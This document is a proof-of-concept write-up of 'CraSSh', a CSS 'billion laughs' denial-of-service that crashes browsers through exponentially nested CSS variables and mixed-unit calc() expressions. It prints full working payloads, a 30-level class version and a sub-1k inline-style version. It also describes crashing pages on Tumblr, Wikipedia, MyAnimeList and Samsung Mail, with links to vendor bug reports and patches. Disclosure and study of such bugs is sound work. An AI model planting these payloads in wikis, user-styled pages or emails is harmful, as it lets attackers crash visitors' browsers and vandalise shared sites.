CrasSh
PoC of billion laughs attack in CSS
What is CraSSh?
CraSSh is a CSS variation of Billion Laughs attack leading to remote DoS, that relies on poor handnling of nested CSS variables and calc() calls in modern browsers. At the time of writing(DEC 2018), it affected WebKit-, Blink-, Gecko-, and EdgeHTML-based browsers.
How it works
tl;dr: the key idea is to create a sequence of CSS variables where each item uses the previous one to compute its value while preventing the CSS engine from caching already computed values. This leads to exponential time complexity and even exponential space complexity in some implementations.
CraSSh relies on 3 things:
* CSS variables(custom properties and var())
.variables
{
--variable: 1px;
/* declare some variable */
height: var(--variable);
/* read the previously declared variable */
}
Variables do not allow recursion(although, there was a bug in WebKit that caused infinite recursion) or loops but they may be defined as
* calc() expressions
calc()
expressions give you the ability to do some basic arithmetics like 'width: calc(50% - 10px)'
, and the spec allows referencing CSS variables described in the previous paragraph.
.calc
{
--variable: 1px;
/* declare a constant */
height: calc(var(--variable) + var(--variable));
/* access --variable twice */
}
This looks like an opportunity to make an exponential number of computations:
.calc_multiple
{
--variable-level-0: 1px;
/* constant */
--variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0));
/* 2 constant evaulations */
--variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1));
/* 2 calls to the previous variable, 4 constant evaluations */
/*
... more declarations in the similar fashion
*/
--variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1));
/* 2 calls to the previous variable, 2 ^ n constant evaluations */
}
but CSS engines are pretty fast, and they normally memoize variable values, so you don’t get very far unless you have
* Mixed-unit values
Technically, it’s a part of calc()
, but it deserves a separate mention. Mixed-unit variable, i.e. a variable containing both absolute and relative units, can’t be computed as an absolute value and reused between applications to different elements, because it depends on the target element’s properties('%'
/ 'em'
units) computed as an absolute value within a single application, because in some cases this would lead to rounding error accumulation causing weird subpixel displacements that would break complex layouts.
This behavior makes CSS engines to reevaluate CSS properties declared as calc()
statements with mixed-unit values on every read access:
.non_cached {
--const: calc(50% + 10px);
/* stays (50% + 10px) */
--variable: calc(var(--const) + var(--const));
/* still not computed into actual value */
width: var(--variable);
/* everything gets computed here */
}
On top of that, some of them inline all nested calls within a variable and tries to reduce them, so unit conversion that leads to rounding errors would be only performed once:
.mixed {
--mixed:calc(1% + 1px);
/* mixed-unit constant */
--mixed-reference: calc(var(--mixed) + var(--mixed));
/* variable referencing the constant */
--mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px);
/* previous variable after inlining */
--mixed-reference-computes-as: calc(2% + 2px);
/* reduced representation that will later be computed as an absolute value */
}
This works pretty well under normal conditions, but when the inlined expression has billions of elements things get a little hairy.
Taking all of above into account, the minimal reproduction code looks like this
.crassh {
--initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm);
/* Mixed constant */
--level-1: calc(var(--initial-level-0) + var(--initial-level-0));
/* 2 evaluations */
--level-2: calc(var(--level-1) + var(--level-1));
/* 4 evaluations */
--level-3: calc(var(--level-2) + var(--level-2));
/* 8 evaluations */
--level-4: calc(var(--level-3) + var(--level-3));
/* 16 evaluations */
--level-5: calc(var(--level-4) + var(--level-4));
/* 32 evaluations */
--level-6: calc(var(--level-5) + var(--level-5));
/* 64 evaluations */
--level-7: calc(var(--level-6) + var(--level-6));
/* 128 evaluations */
--level-8: calc(var(--level-7) + var(--level-7));
/* 256 evaluations */
--level-9: calc(var(--level-8) + var(--level-8));
/* 512 evaluations */
--level-10: calc(var(--level-9) + var(--level-9));
/* 1024 evaluations */
--level-11: calc(var(--level-10) + var(--level-10));
/* 2048 evaluations */
--level-12: calc(var(--level-11) + var(--level-11));
/* 4096 evaluations */
--level-13: calc(var(--level-12) + var(--level-12));
/* 8192 evaluations */
--level-14: calc(var(--level-13) + var(--level-13));
/* 16384 evaluations */
--level-15: calc(var(--level-14) + var(--level-14));
/* 32768 evaluations */
--level-16: calc(var(--level-15) + var(--level-15));
/* 65536 evaluations */
--level-17: calc(var(--level-16) + var(--level-16));
/* 131072 evaluations */
--level-18: calc(var(--level-17) + var(--level-17));
/* 262144 evaluations */
--level-19: calc(var(--level-18) + var(--level-18));
/* 524288 evaluations */
--level-20: calc(var(--level-19) + var(--level-19));
/* 1048576 evaluations */
--level-21: calc(var(--level-20) + var(--level-20));
/* 2097152 evaluations */
--level-22: calc(var(--level-21) + var(--level-21));
/* 4194304 evaluations */
--level-23: calc(var(--level-22) + var(--level-22));
/* 8388608 evaluations */
--level-24: calc(var(--level-23) + var(--level-23));
/* 16777216 evaluations */
--level-25: calc(var(--level-24) + var(--level-24));
/* 33554432 evaluations */
--level-26: calc(var(--level-25) + var(--level-25));
/* 67108864 evaluations */
--level-27: calc(var(--level-26) + var(--level-26));
/* 134217728 evaluations */
--level-28: calc(var(--level-27) + var(--level-27));
/* 268435456 evaluations */
--level-29: calc(var(--level-28) + var(--level-28));
/* 536870912 evaluations */
--level-30: calc(var(--level-29) + var(--level-29));
/* 1073741824 evaluations */
--level-final: calc(var(--level-30) + 1px);
/* 1073741824 evaluations */
/* ^ these are not evaluated automatically in some engines -> we have to use them somewhere */
border-width: var(--level-final); /* <- use the computed value */
/* border-width may be omitted by some engines if it doesn't have style(= not shown ) */
border-style: solid;
}
<div class="crassh">
If you can see this, your browser doesn't support modern CSS or the developers have fixed CraSSh
</div>
and there’s also sub-1k inline version(used in MediaWiki showcase):
<div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>
How can this be exploited?
Aside from preventing users from browsing your own website or a blog on a platform that gives full access to HTML like Tumblr(example, crashes the browser) or LiveJournal(example, crashes the browser), CraSSh allows
- Breaking the UI on controlled pages on customizable websites that allow users to specify custom CSS but don’t give the access to HTML templates. I’ve managed to break MyAnimeList(example, crashes the browser). Reddit is not affected because their parser doesn’t support CSS variables.
- Breaking the UI on pages with public write access that allow some HTML tags with inline styles. Wikipedia(
example, crashes the browserthey’ve banned the account for vandalism, even though I’ve placed it on the personal page), and most MediaWiki-based projects are affected. Basically, one can break the page and it wouldn’t be reparable through UI. - Crashing email clients with HTML emails
- It’s quite complicated since email clients strip/minify HTML and generally don’t support modern CSS features which CraSSh relies on
CraSSh works in
- Samsung Mail for Android
CraSSh doesn’t work in
- Outlook(web)
- Gmail(web)
- Gmail(Android)
- Yahoo(web)
- Yandex(web)
- Protonmail(web)
- Zimbra(web, standalone install)
- Windows Mail(windows, obviously)
Should work in
- Outlook for Mac (it uses webkit internally)
- Haven’t tested others.
Links
Patches / bug reports:
- Firefox: #1510862, #1511045, #1511046;
- Web platform test changeset inspired by Firefox bug #1510862
- Chromium / Google Chrome: #626703(private bug), #910486 referencing test failure from the commit above
- Palemoon: Thread, Changelog for v 28.3.0, Issue #891 for UXP
- Wikimedia Issue
- CSS Spec Drafts Issue
Media
- Original reddit post from 2018
- Poor translation to Russian on Habr. Two and a half years ago I’m still butthurt about it:
The company where I worked at the time had a policy, where they would give free stuff to habr authors. That post was worth an iPhone. Damn reporters.
The translation sucks, the dude fucking butchered it. - Some podcast about front end development